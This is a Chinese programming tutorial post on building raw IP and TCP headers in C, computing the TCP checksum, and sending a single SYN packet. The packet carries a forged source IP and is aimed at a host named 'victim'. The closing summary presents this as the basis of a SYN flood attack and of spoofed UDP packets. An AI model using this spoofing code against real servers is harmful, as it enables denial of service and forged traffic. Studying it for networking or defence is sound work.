1. 程式人生 > >原始套接字 傳送 TCP SYN 包

原始套接字 傳送 TCP SYN 包

通過原始套接字、setsockopt、IP_HDRINCL套接字選項,我們可以在應用程序裡面構造自己的IP包:


所以我們在初始化原始套接字之後,可以呼叫setsockopt函式來開啟IP_HDRINCL套接字選項,並且構造自己的IP頭,TCP/UDP頭,最後再像傳送普通包一樣呼叫sendto 、sendmsg等函式傳送構造好的資料。

1.首先我們可以先得到一個原始套接字,並且設定IP_HDRINCL套接字選項:【最後的可執行檔案需要用root許可權執行,可以在shell裡面完成,也可以在程式碼裡面完成】

int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
if (sock < 0) {
	perror("Socket Error");
	exit(1);
}
const int on = 1;
setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

2.構造TCP頭:【tcp頭結構檔案在/usr/include/netinet/tcp.h裡面】

void initTCPHeader(struct tcphdr* header) {
	header->source = htons(9431);
	header->dest = htons(4321);

	header->doff = sizeof(struct tcphdr) / 4;
	header->syn = 1;
	header->window = htons(4096);
	header->check = 0;
	header->seq = htonl(rand());
	header->ack_seq = 0;
}
struct tcphdr* tHeader = (struct tcphdr*) malloc(sizeof(struct tcphdr));
memset(tHeader, 0, TCP_HEADER_LEN);
initTCPHeader(tHeader);
3.自己計算TCP首部校驗和【 在實驗的時候,我發現如果自己不手動算,而是把check欄位設定為0的話,核心並不會自動計算校驗和,如果校驗和不正確的話,會出現SYN包被丟棄的情況】:

    ① TCP 偽首部:

        需要加上一個偽首部,這個首部只用來計算校驗和,並不真正地傳送給另外一端。


所以我們需要寫一個結構體來裝這個偽首部:

struct psdHeader {
	unsigned int srcIP;
	unsigned int destIP;
	unsigned short zero:8;
	unsigned short proto:8;
	unsigned short totalLen;
};

void initPsdHeader(struct psdHeader* header, struct ip* iHeader) {
	header->srcIP = iHeader->ip_src.s_addr;
	header->destIP = iHeader->ip_dst.s_addr;

	header->zero = 0;
	header->proto = IPPROTO_TCP;
	header->totalLen = htons(0x0014); //因為是SYN包,不帶任何的資料,所以總長度就是TCP的首部長度--20位元組
}

    ② TCP 校驗和計算:

        把TCP首部的校驗和欄位設定為0,再把TCP偽首部和TCP首部的資料每16位當作一個數,全部相加起來【sum】,如果sum的高16位不為0的話,把高16位加到低16位上面,直到高16位不為0為止,最後這個sum取反就是TCP校驗和欄位需要填寫的數。

unsigned short calcTCPCheckSum(const char* buf) {
	size_t size = TCP_HEADER_LEN + sizeof(struct psdHeader);
	unsigned int checkSum = 0;
	for (int i = 0; i < size; i += 2) {
		unsigned short first = (unsigned short)buf[i] << 8;
		unsigned short second = (unsigned short)buf[i+1] & 0x00ff;
		checkSum += first + second;
	}
	while (1) {
		unsigned short c = (checkSum >> 16);
		if (c > 0) {
			checkSum = (checkSum << 16) >> 16;
			checkSum += c;
		} else {
			break;
		}
	}
	return ~checkSum;
}

上面程式碼中需要注意的是: second這個變數:在強制轉化成short之後,高8位全部是1,需要把高8位清成0才是正確的【坑了兩個小時】其實這裡的原因是:


上面的紅框裡面這個指令會用al暫存器的最高位來填充ax:所以如果al的最高位是0的話,那麼結果恰好是正確的,但是如果al的最高位是1的話,那麼ah就都是1了,所以會出現高8位都是1的情況。

最後的while迴圈就是為了處理高16位不為0的情況。

4.構造IP頭:【ip頭結構檔案在/usr/include/netinet/ip.h裡面】

const char* victim = "192.168.26.100";
const char* pre = "139.59.252.82";

void initIPHeader(struct ip* header, unsigned short len) {
	header->ip_v = IPVERSION;
	header->ip_hl = sizeof(struct ip) / 4;
	header->ip_tos = 0;
	header->ip_len = htons(IP_HEADER_LEN + TCP_HEADER_LEN);
	header->ip_id = 0;
	header->ip_off = 0;
	header->ip_ttl = MAXTTL; 
	header->ip_p = IPPROTO_TCP;
	header->ip_sum = 0;
	inet_pton(AF_INET, pre, &header->ip_src.s_addr);
	inet_pton(AF_INET, victim, &header->ip_dst.s_addr);
}

這裡的IP校驗和核心是會幫我們計算的,這點不用擔心。注意:上面的pre字串裡面的IP地址是假的IP地址。

5.最後通過sendto函式傳送包:

struct sockaddr_in addr;
memset(&addr, 0, sizeof(struct sockaddr_in));
addr.sin_family = AF_INET;
inet_pton(AF_INET, victim, &addr.sin_addr.s_addr);
addr.sin_port = htons(4321);

socklen_t len = sizeof(struct sockaddr_in);
int n = sendto(sock, buf, totalLen, 0, (struct sockaddr*)&addr, len);

6.所有的程式碼:

#include <netinet/in.h>
#include <sys/socket.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <string.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>


#define IP_HEADER_LEN sizeof(struct ip)
#define TCP_HEADER_LEN sizeof(struct tcphdr)

const char* victim = "192.168.26.100";
const char* pretend = "139.59.252.82";

void initIPHeader(struct ip* header, unsigned short len) {
	header->ip_v = IPVERSION;
	header->ip_hl = sizeof(struct ip) / 4;
	header->ip_tos = 0;
	header->ip_len = htons(IP_HEADER_LEN + TCP_HEADER_LEN);
	header->ip_id = 0;
	header->ip_off = 0;
	header->ip_ttl = MAXTTL; 
	header->ip_p = IPPROTO_TCP;
	header->ip_sum = 0;
	inet_pton(AF_INET, pretend, &header->ip_src.s_addr);
	inet_pton(AF_INET, victim, &header->ip_dst.s_addr);
}

void initTCPHeader(struct tcphdr* header) {
	header->source = htons(9431);
	header->dest = htons(4321);

	header->doff = sizeof(struct tcphdr) / 4;
	header->syn = 1;
	header->window = htons(4096);
	header->check = 0;
	header->seq = htonl(rand());
	header->ack_seq = 0;
}

struct psdHeader {
	unsigned int srcIP;
	unsigned int destIP;
	unsigned short zero:8;
	unsigned short proto:8;
	unsigned short totalLen;
};

void initPsdHeader(struct psdHeader* header, struct ip* iHeader) {
	header->srcIP = iHeader->ip_src.s_addr;
	header->destIP = iHeader->ip_dst.s_addr;

	header->zero = 0;
	header->proto = IPPROTO_TCP;
	header->totalLen = htons(0x0014);
}

unsigned short calcTCPCheckSum(const char* buf) {
	size_t size = TCP_HEADER_LEN + sizeof(struct psdHeader);
	unsigned int checkSum = 0;
	for (int i = 0; i < size; i += 2) {
		unsigned short first = (unsigned short)buf[i] << 8;
		unsigned short second = (unsigned short)buf[i+1] & 0x00ff;
		checkSum += first + second;
	}
	while (1) {
		unsigned short c = (checkSum >> 16);
		if (c > 0) {
			checkSum = (checkSum << 16) >> 16;
			checkSum += c;
		} else {
			break;
		}
	}
	return ~checkSum;
}

int main(int argc, char** argv) {
	int sock = socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
	if (sock < 0) {
		perror("Socket Error");
		exit(1);
	}
	const int on = 1;
	setsockopt(sock, IPPROTO_IP, IP_HDRINCL, &on, sizeof(on));

	const char* query = "I am a Hacker.\n";

	struct tcphdr* tHeader = (struct tcphdr*) malloc(sizeof(struct tcphdr));
	memset(tHeader, 0, TCP_HEADER_LEN);
	initTCPHeader(tHeader);
	struct ip* iHeader = (struct ip*) malloc(sizeof(struct ip));
	memset(iHeader, 0, IP_HEADER_LEN);
	initIPHeader(iHeader, strlen(query));
	struct psdHeader* pHeader = (struct psdHeader*) malloc(sizeof(struct psdHeader));
	initPsdHeader(pHeader, iHeader);

	char sumBuf[TCP_HEADER_LEN + sizeof(struct psdHeader)];
	memset(sumBuf, 0, TCP_HEADER_LEN + sizeof(struct psdHeader));
	memcpy(sumBuf, pHeader, sizeof(struct psdHeader));
	memcpy(sumBuf + sizeof(struct psdHeader), tHeader, TCP_HEADER_LEN);

	int ni = memcmp(sumBuf, pHeader, sizeof(struct psdHeader));
	if (ni != 0) {
		perror("Compare");
	}
	ni = memcmp(sumBuf + sizeof(struct psdHeader), tHeader, TCP_HEADER_LEN);
	if (ni != 0) {
		perror("Compare 2");
	}

	tHeader->check = htons(calcTCPCheckSum(sumBuf));

	int totalLen = IP_HEADER_LEN + TCP_HEADER_LEN;
	char buf[totalLen];

	memcpy(buf, iHeader, IP_HEADER_LEN);
	memcpy(buf + IP_HEADER_LEN, tHeader, TCP_HEADER_LEN);

	struct sockaddr_in addr;
	memset(&addr, 0, sizeof(struct sockaddr_in));
	addr.sin_family = AF_INET;
	inet_pton(AF_INET, victim, &addr.sin_addr.s_addr);
	addr.sin_port = htons(4321);

	socklen_t len = sizeof(struct sockaddr_in);
	int n = sendto(sock, buf, totalLen, 0, (struct sockaddr*)&addr, len);
	if (n < 0) {
		perror("Send Error");
	}
	printf("Write %d bytes to the server.\n", n);

	char buff[3];
	buff[0] = 0xab;
	buff[1] = 0xbc;
	buff[2] = 0xcd;
	for (int i = 0; i < 3; ++i) {
		unsigned short cu = buff[i];
		printf("%x\n", cu);
	}
	return 0;
}

7.tcpdump抓包的結果:


可以看到伺服器的確是收到了這個SYN包,並且傳送了SYN+ACK的第二次握手包,但是IP地址是假的,沒有最後一次ACK的握手包,所以伺服器進行了幾次嘗試。


第一行是TCP首部檢驗和填0的時候出現的:核心不會幫我計算校驗和,所以伺服器並沒有接收這個SYN包,下面的都是我對計算校驗和作的嘗試:都是錯誤的結果,所以伺服器還是不會接收這個SYN包。


8.總結:通過原始套接字,我們可以自己構造IP,TCP首部,這樣就可以偽造IP地址,埠號,TCP可以形成SYN攻擊,UDP可以傳送假的IP和埠號的資料包到伺服器。


9.知識點:原始套接字,套接字選項,IP首部,TCP首部,校驗和的計算,位操作,C/C++冒號操作符。